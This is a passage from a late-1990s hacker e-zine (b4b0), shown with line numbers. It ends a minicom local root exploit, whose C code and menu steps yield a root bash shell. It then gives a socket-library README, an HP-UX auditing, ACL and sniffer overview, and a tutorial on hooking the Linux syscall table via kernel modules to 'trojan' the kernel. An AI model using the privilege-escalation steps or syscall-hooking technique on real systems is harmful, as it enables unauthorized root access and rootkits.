  1605.         strcpy (bleh[0],makestring(255,OFFSET+3));
  1606.         strcpy (bleh[1],makestring(255,OFFSET+2));
  1607.         strcpy (bleh[2],makestring(255,OFFSET+1));
  1608.         strcpy (bleh[3],makestring(255,OFFSET));
  1609.  
  1610. #ifdef UTTY
  1611.         execl ("/usr/bin/minicom","minicom",
  1612.         "-t",bleh[0],"-t",bleh[1],
  1613.         "-t",bleh[2],"-t",bleh[3],
  1614.         "-t","vt100","-s",
  1615.         "-p",UTTY,NULL);
  1616. #else
  1617.         execl ("/usr/bin/minicom","minicom",
  1618.         "-t",bleh[0],"-t",bleh[1],
  1619.         "-t",bleh[2],"-t",bleh[3],
  1620.         "-t","vt100",
  1621.         "-s",NULL);
  1622. #endif
  1623.         return 0;
  1624. }
  1625.  
  1626. -- end new.minicom.c --
  1627.  
  1628. so real_uid becomes 0x00000000 (root)
  1629.  
  1630. we can't just send minicom a SIGSTP, it will restore our old uid.
  1631. we need to get minicom to *exec* a shell.
  1632.  
  1633. execute the above code and you'll discover minicom's window system is
  1634. unreadable. start a normal version of minicom in a different console
  1635.  
  1636. we look at the menu and see: `Filenames and paths'
  1637.  
  1638.  A - Download directory : /tmp
  1639.  B -   Upload directory :
  1640.  C -   Script directory :
  1641.  D -     Script program : runscript
  1642.  E -     Kermit program : /usr/bin/kermit
  1643.     Change which setting?
  1644.  
  1645. looks like we could just change `E- Kermit program' to `/bin/bash'
  1646. so we do.
  1647.  
  1648. now we exit configuration and the terminal starts up.
  1649. we start kermit
  1650. CTRL+A+K = bash#
  1651.  
  1652. voila.
  1653.  
  1654. [a high level sockets API - [presonic]] x- -x- -x- -x- -x- -x- -x- -x-
  1655. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  1656. -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  1657.  
  1658. [/home/presonic/projects/tcpip] $ cat README
  1659. High Level Unix Socket Functions
  1660.  
  1661. This is the first release, they have only been *tested* on linux.
  1662.  
  1663. These functions can be used to learn how to use socket functions,
  1664. or to avoid learning them.  That part, has been left to you.
  1665.  
  1666. Both subscan and http_ver are examples on how to use the socket
  1667. functions.  subscan uses advanced non blocking i/o and select()
  1668. stuff, so it may be hard to follow.
  1669.  
  1670. See tcpip.c for more details.
  1671.  
  1672. Files:
  1673.  
  1674. README          you're fat.
  1675. Makefile        type 'make' and see.
  1676. tcpip.c         *the* socket functions.
  1677. subscan.c       a scanner that sweeps a subnet for a given port.
  1678.                 (this uses non blocking i/o)
  1679. http_ver.c      this query's a web server and try's to find the server
  1680.                 version.
  1681. [/home/presonic/projects/tcpip] $ whatis b4b0
  1682. b4b0: nothing appropriate
  1683.  
  1684. [/home/presonic/projects/tcpip] $
  1685.  
  1686. EOF
  1687. [HP-UX security pt 2 - [tip]] x -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  1688. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  1689. -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  1690.  
  1691. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1692. HP-UX: A Security Overview, Part Two                     revision01 10sep98
  1693.        by: tip (tip@b4b0.org)
  1694. ---------------------------------------------------------------------------
  1695. Table of Contents:
  1696.  
  1697. 1) Introduction                      5) The Trusted System: DB Lib Routines
  1698. 2) The Trusted System: Auditing      6) Other Info Pt 1
  1699. 3) The Trusted System: ACLs          7) To Be Continued
  1700. ---------------------------------------------------------------------------
  1701. 1) Introduction
  1702.  
  1703. a) This text is designed to complement to general Unix knowledge. All Unix
  1704.    OS's are different in their own right. This text will delve into HP-UX-
  1705.    specific areas. This is not a Unix tutorial, rather a supplement to
  1706.    fundamental Unix knowledge.
  1707. b) This text will cover HP-UX version 10.x primarily. Specifically, 10.10
  1708.    and 10.20 will be in mind. 11.0 has been released and I haven't gotten
  1709.    to checking it out yet. 9.x is old, and no longer supported by HP. Thus,
  1710.    the most logical choice (and most popular version of HP-UX) is 10.x.
  1711. c) I'm not perfect; please notify me of any errors in the document. Also,
  1712.    if you see anything you want added to this file, feel free to send them
  1713.    to me.
  1714. ---------------------------------------------------------------------------
  1715. 2) The Trusted System: Auditing
  1716.  
  1717.    Auditing is a feature only available on Trusted Systems. It provides a
  1718. means to record events and analyze security. Monitoring is done from the
  1719. command line or through SAM (Systems Administration Manager). Most
  1720. commonly, SAM is used to do auditing.
  1721.  
  1722. Auditing commands
  1723.   These are pretty self-explanatory. Check man pages for detailed info.
  1724. audsys(1m)   : start/halt auditing and set/display audit file information
  1725. audusr(1m)   : select user to audit
  1726. audevent(1m) : change/display event/syscall status
  1727. audomon(1m)  : set audit file monitoring and size parameters
  1728. audisp(1m)   : display audit record
  1729.  
  1730. What system calls does auditing log?
  1731.    Basically system calls are grouped into event types. Auditing is
  1732. selective by this event type, not by particular system calls. One thing
  1733. to note: the event types of admin, login, and moddac are logged by
  1734. default. See below for which system calls fit under which event type.
  1735. These are selectable under SAM.
  1736.  
  1737. event type:        system calls:
  1738. -----------        -------------
  1739. admin              audevent(1m), audisp(1m), audswitch(2), audsys(1m),
  1740.                    audusr(1m), chfn(1), chsh(1), init(1m), passwd(1),
  1741.                    privgrp(2), pwck(1m), reboot(2), sam(1m), setaudid(2),
  1742.                    setaudproc(2), setdomainname(2), setevent(2),
  1743.                    sethostid(2), settimeofday(2), swapon(2)
  1744. close              close(2)
  1745. create             creat(2), msgget(2), mknod(2), mkdir(2), pipe(2),
  1746.                    semget(2), shmat(2), shmget(2)
  1747. delete             msgctl(2), rmdir(2), semctl(2)
  1748. ipcclose           shutdown(2)
  1749. ipccreat           bind(2), socket(2)
  1750. ipcdgram           udp(7)
  1751. ipcopen            accept(2), connect(2)
  1752. login              init(1m), login(1)
  1753. modaccess          chdir(2), chroot(2), link(2), newgrp(1), rename(2),
  1754.                    setgid(2), setgroups(2), setresuid(2), setuid(2),
  1755.                    shmctl(2), shmdt(2), unlink(2)
  1756. maddoc             chmod(2), chown(2), fchmod(2), fchown(2), fsetacl(2),
  1757.                    setacl(2), umask(2)
  1758. open               execv(2), execve(2), ftruncate(2), lpsched(1m), open(2),
  1759.                    ptrace(2), truncate(2)
  1760. process            exit(2), fork(2), kill(2), vfork(2)
  1761. removable          smount(2), umount(2), vfsmount(2)
  1762. uevent1            reserved for custom self-auditing programs
  1763. uevent2            reserved for custom self-auditing programs
  1764.  
  1765.    So what is a self-auditing program? Basically, the amount of data that
  1766. is audited can become cumbersome; thus self-auditing programs log only one
  1767. entry decribing their process, after suspending the auditing of their
  1768. actions. The intent is to limit and thus, optimize the audit data that is
  1769. logged.
  1770.  
  1771. Standard processes that are self-audit capable:
  1772. audevent(1m), audisp(1m), audsys(1m), audusr(1m), chfn(1), chsh(1),
  1773. init(1m), login(1), lpsched(1m), newgrp(1), passwd(1), pwck(1m).
  1774.  
  1775. Where are audit logs located?
  1776. /.secure/etc/audfile1 (primary log)    switch size = 5 megs (AFS)
  1777. /.secure/etc/audfile2 (auxiliary log)  switch size = 1 meg  (AFS)
  1778.  
  1779. Warnings are sent when the log file reaches 90%.
  1780.  
  1781.    The Audit File Switch (AFS, as seen above), is basically a defined
  1782. limit for the primary log file. The File Space Switch (FFS), is the
  1783. defined limit for the filesystem for which the audit logs reside on.
  1784. When the AFS limit is reached for the primary log, the audit logs are
  1785. stopped, and then started on the auxiliary log. If no auxiliary log
  1786. exists, it keeps on continuing to log on the primary. Now, if both the
  1787. AFS and FFS limits are reached, it _still_ continues to log. Obviously
  1788. this will be logged that the limit has been reached. But when does it
  1789. stop? Basically a system parameter in the kernel, called min_free, stops
  1790. all audit log activity if that point is reached.
  1791.  
  1792.   Thus, in a nutshell...
  1793.  
  1794.   -----------------> as size of audit logs increase -------------------->
  1795.   primary AFS reached, give warning, switch to:
  1796.             auxiliary log -> when auxiliary AFS is is reached,
  1797.                              give warning, and:
  1798.                        watch FFS -> when that limit is reached,
  1799.                                     give warning, and:
  1800.                                   watch min_free parameter -> when that
  1801.                                               limit is reached, halt all
  1802.                                               audit logs, until they are
  1803.                                               removed
  1804.  
  1805. ---------------------------------------------------------------------------
  1806. 3) The Trusted System: ACLs
  1807.  
  1808.    Access control lists are are basically an "extended" set of permissions
  1809. for files and directories. Two things to note: 1) ACLs are slowly being
  1810. phased out (11.0 supports them, but this might be the last version that
  1811. supports ACLs), and 2) ACLs cannot be used on VxFS (Journal Filesystem,
  1812. also known as JFS). Two commands are integral to ACLs: lsacl and chacl.
  1813.    Basically think of lsacl as the extended equivalent of ls, while chacl
  1814. is the extended equivalent of chmod and chown. How are ACLs "extended"?
  1815.  
  1816. While standard Unix has three sets of permissions, ie:
  1817. -rwxr--r--   1 oracle   dba          523 Nov 22  1996 run1.sh
  1818.  
  1819.    ACLs enables thirteen additional sets of permissions (ACL entries) to
  1820. be designated, which are stored in the access control list of the file.
  1821. Suppose you wanted everyone BUT johndoe to read a file. In standard Unix,
  1822. you'd have to create a group, put everyone in it except johndoe, then
  1823. modify the permissions on the file accordingly (basically a pain in the
  1824. ass). With ACLs, simply type: chacl 'johndoe.users=-rwx' <filename>
  1825.  
  1826.    Looking at that file with 'lsacl <filename>' you see:
  1827. (johndoe.users,---)(root.%,rw-)(%.sys,r--)(%.%,r--) filename
  1828.  
  1829.    Note that modifiers in chacl are + (add permission), - (remove permis-
  1830. sion), etc.
  1831.  
  1832.    How would you know if a file or directory had additional permissions?
  1833. Do an 'ls -l' or 'll' on the file:
  1834. -rwxr--r-+   1 oracle   dba          523 Nov 22  1996 run1.sh
  1835.  
  1836.    Note the "+". This indicates there are additional permissions to be
  1837. seen with lsacl.
  1838.  
  1839.    ACLs are useful to know within HP-UX, as standard file permissions,
  1840. listings in /etc/group, etc. can be inconclusive in determining the owner-
  1841. ship of a file or directory.
  1842.  
  1843.    Other commands (primarily system calls; see man pages for more info):
  1844.  
  1845. getaccess (command): list access rights to a file.
  1846. chmod -A (command): the -A option preserves ACLs associated with the file.
  1847.    otherwise, they are deleted.
  1848. cpset (command): install object files in binary directories. does not set
  1849.    a file's optional ACL entries.
  1850. find -acl (command): the -acl option supports ACLs.
  1851. getacl/fgetacl (syscall): get ACL information.
  1852. setacl/fsetacl (syscall): set ACL information.
  1853. cpacl/fcpacl (syscall): copy ACL/mode bits from one file to another.
  1854. setaclentry/fsetaclentry (syscall): set/modify/delete one ACL entry in
  1855.    a file.
  1856. chownacl (syscall): change ACL owner/group info in a file.
  1857. acltostr (syscall): convert ACL structure to string form.
  1858. strtoacl (syscall): convert string form to ACL structure.
  1859. strtoaclpatt (syscall): parse/convert ACL pattern strings to arrays.
  1860. ---------------------------------------------------------------------------
  1861. 4) The Trusted System: DB Lib Routines
  1862.  
  1863.    Basically, these routines are used to manipulate information on both the
  1864. password file (/etc/passwd), and the trusted system database (/tcb/files/
  1865. auth).
  1866.  
  1867. getdvagent(3): get device entry from /tcb/files/auth/devassign
  1868. getprdfent(3): get system default entry from /tcb/files/auth/system/default
  1869. getprtent(3) : get term control entry from /tcb/files/ttys
  1870. getprpwent(3): get /tcb/files/auth password entries
  1871. getpwent(3c) : get /etc/passwd entries
  1872. getspwent(3x): get /tcb/files/auth password entries for standard, non-hp
  1873.                format
  1874. putprpwnam(3): put password entry in /tcb/files/auth
  1875. putpwent(3c) : put password entry in /etc/passwd
  1876. putspwent(3x): put password entry in standard, non-hp format
  1877. ---------------------------------------------------------------------------
  1878. 5) Other Info Pt 1
  1879.  
  1880. nettl: HP-UX's network sniffer
  1881.   The question arises all too often about the availability of a sniffer for
  1882. HP-UX. A solution that isn't realized by many is the fact that HP-UX comes
  1883. with one. Here is the basic syntax for nettl. Check the man page for more
  1884. detailed information on what you need.
  1885.  
  1886.   Start the logging process, logging all (-e, short for -entity) protocol
  1887. layers/software modules, outputting to /tmp/b4b0!! (pduin is the inbound
  1888. protocol data unit, and obviously, pduout is the outbound protocol data
  1889. unit):
  1890.  
  1891.     nettl -traceon pduin pduout -e all -f /tmp/b4b0
  1892.  
  1893.   Stop the logging for all (-e):
  1894.  
  1895.     nettl -traceoff -e all
  1896.  
  1897.   Format the log file to make it readable:
  1898.  
  1899.     netfmt -f /tmp/b4b0.TRC0 > /tmp/b4b0.txt
  1900. ---------------------------------------------------------------------------
  1901. 6) To Be Continued
  1902.  
  1903.    Welps, that's it for now, kinda short. However, Part 3 will delve into
  1904. NFS diskless clusters, network services, linklevel access, and other fun
  1905. stuff.
  1906. ---------------------------------------------------------------------------
  1907. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  1908.  
  1909.  
  1910. [writing lkm's - [segv]] x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  1911. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  1912. -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x- -x-
  1913.  
  1914.  
  1915. Introduction
  1916. ------------->
  1917.  
  1918.         In the past various people have released articles or trojan code
  1919. for the purpose of trojanning Linux kernel's, due to the fact that it is
  1920. pretty much child's play. This is a simple article which will discuss
  1921. them.. and write some simple ones.
  1922.  
  1923.         When you call a syscall the 'magic number' (found in /usr/include/
  1924. sys/syscall.h) is pushed into a register along with arguments to the syscall
  1925. and Linux's maskable interrupt is executed, jumping to kernel mode.
  1926. Linux's maskable interrupt jumps to kernel mode and gives control to a
  1927. kernel function called _system_call(), which checks the value of one the
  1928. general purpose registers (eax) and compares that value to the global syscall
  1929. table. The global syscall table tells where u can find the syscall in memory.
  1930. simple example of calling setuid(0); Note: unless your root the call to setuid
  1931. will fail.. if you are.. the execution of this program will run as root doing
  1932. nothing. (just an example)
  1933.  
  1934. root@ux~# grep "SYS_setuid" /usr/include/sys/syscall.h
  1935. #define SYS_setuid              23
  1936. root@ux~# cat > setuid.c
  1937. void main()
  1938. {
  1939.         __asm__("
  1940.            movl $23, %eax  # magic number of syscall into eax
  1941.            movl $0, %ebx   # arugment u are passing to setuid()
  1942.            int $0x80       # jump to kernel mode.
  1943.         ");
  1944. }
  1945. ^D
  1946. root@ux~#
  1947.  
  1948. Pretty simple, eh? ;)
  1949. Now lets write our first loadable kernel module. (which can be loaded into the
  1950. kernel on an as need basis). When you first load the module into the kernel
  1951. init_module() is exec'ed, when you unload it, cleanup_module() is exec'ed.
  1952. Note: printk() is a kernel function and can't be called from the userland.
  1953. You should take a look at the man pages for rmmod(1), lsmod(1), and insmod(1).
  1954.  
  1955. root@ux~# cat > lkm1.c
  1956. #define MODULE
  1957. #include <linux/module.h>
  1958.  
  1959. int init_module(void)
  1960. {
  1961.         printk("B4B0 0WNZ U.\n");
  1962.         printk("Module loaded.\n\n");
  1963.         return(0);
  1964. }
  1965.  
  1966. void cleanup_module(void)
  1967. {
  1968.         printk("Module unloaded\n");
  1969. }
  1970. ^D
  1971. root@ux~# cc -c lkm1.c
  1972. root@ux~# insmod lkm1.o
  1973. B4B0 0WNZ U.
  1974. Module loaded.
  1975.  
  1976. root@ux~# rmmod lkm1.o
  1977. Module unloaded
  1978. root@ux~#
  1979.  
  1980. Ok.. once _system_call() is called and finds out where the syscall we wanna
  1981. exec is in memory, the actual syscall gets executed.. once that is done
  1982. control is givin back to  _system_call() which then  call's
  1983. _ret_from_sys_call() which jumps back to userland mode.
  1984.  
  1985.  
  1986. Trojanning syscall's.
  1987. --------------------->
  1988.  
  1989.         Just to give you an idea. You can modify the memory address
  1990. sys_call_table[SYS_<whatevercallyouwant>] points to and have it exec your
  1991. code. I wrote a simple wrapper to write(2), which from the trojanned function
  1992. calls the real function, just an other example..
  1993.  
  1994. ***IMPORTANT***
  1995.         I tested this code on 2.0.33, worked fine.. Since then I have
  1996. upgraded to 2.0.34 and this crashed my Linsux machine. (I'm considering
  1997. downgrading ;) Oh well.. USE AT YOUR OWN RISK. I wrote this code a while
  1998. ago, heh.
  1999.  
  2000. Thanks
  2001. ------->
  2002. Plaguez great article in Phrack.. which pretty much explained everything.
  2003. "Writing Device Drivers for Linux". Some book, forgot the name of the author.
  2004.  
  2005. /*
  2006.  * gcc -O3 -c stupid-example.c; /sbin/insmod stupid-example.o
  2007.  * -segv <segv@b4b0.org>
  2008.  */
  2009.  
  2010. #define MODULE
  2011. #define __KERNEL__
  2012.  
  2013. #include <linux/config.h>
  2014. #ifdef MODULE
  2015. #include <linux/module.h>
  2016. #include <linux/version.h>
  2017. #else
  2018. #define MOD_INC_USE_COUNT
  2019. #define MOD_DEC_USE_COUNT
  2020. #endif
  2021.  
  2022. #include <linux/types.h>
  2023. #include <linux/fs.h>
  2024. #include <linux/mm.h>
  2025. #include <linux/errno.h>
  2026. #include <asm/segment.h>
  2027. #include <sys/syscall.h>
  2028. #include <linux/dirent.h>
  2029. #include <asm/unistd.h>
  2030. #include <sys/types.h>
  2031. #include <stdio.h>
  2032. #include <errno.h>
  2033. #include <fcntl.h>
  2034. #include <ctype.h>
  2035.  
  2036. int errno;
  2037. extern void *sys_call_table[];
  2038. // ssize_t write(int fd, const void *buf, size_t count);
  2039. ssize_t (*wwrite) (int fd, const void *buf, size_t count); // function pointer
  2040.  
  2041. ssize_t hihi(int fd, const void *buf, size_t count) // our c0de.
  2042. {
  2043.         ssize_t yo;
  2044.  
  2045.         yo=wwrite(fd,buf,count); // wwrite is the real write(2) call
  2046.         return(yo);
  2047. }
  2048.  
  2049. int init_module(void)
  2050. {
  2051.         wwrite=sys_call_table[SYS_write]; /* have our function pointer point
  2052.                                            * to the mem addr of write.
  2053.                                            */
  2054.         sys_call_table[SYS_write]=(void *)hihi; /* replace it with our
  2055.         return 0;                                * new addr to our code
  2056.                                                  */
  2057. }
  2058.  
  2059. void cleanup_module(void)
  2060. {
  2061.         sys_call_table[SYS_write]=(void *)wwrite; /* have it point back to
  2062.                                                    * orignal addr.
  2063.                                                    */
  2064. }
  2065.  
  2066. [compiled d0x on sparc asm (various)] - -x- -x- -x- -x- -x- -x- -x- -x-
  2067. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  2068.  
  2069. Included in the .tgz is the directory sparc_asm/.  The *class*.html files
  2070. were taken from some colleges web site =) greetz to the professor who
  2071. wrote them... The other thing is info on the sparc stack... reading both
  2072. these things will gib u a working knowledge of sparc asm ! there is no
  2073. excuse not to read all these filez right now !
  2074.  
  2075. b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b
  2076.  
  2077. **************************************************************************
  2078. **************************************************************************
  2079. **************************************************************************
  2080.  
  2081.  THATS ALL
  2082. THANK U
  2083.                 FOR READING
  2084.  
  2085.                                                         B4B0
  2086.  
  2087. !!!!!!!!!!!!!!!!!!!!!!!!!! PLEASE
  2088.         COME
  2089.                                 AGAIN
  2090.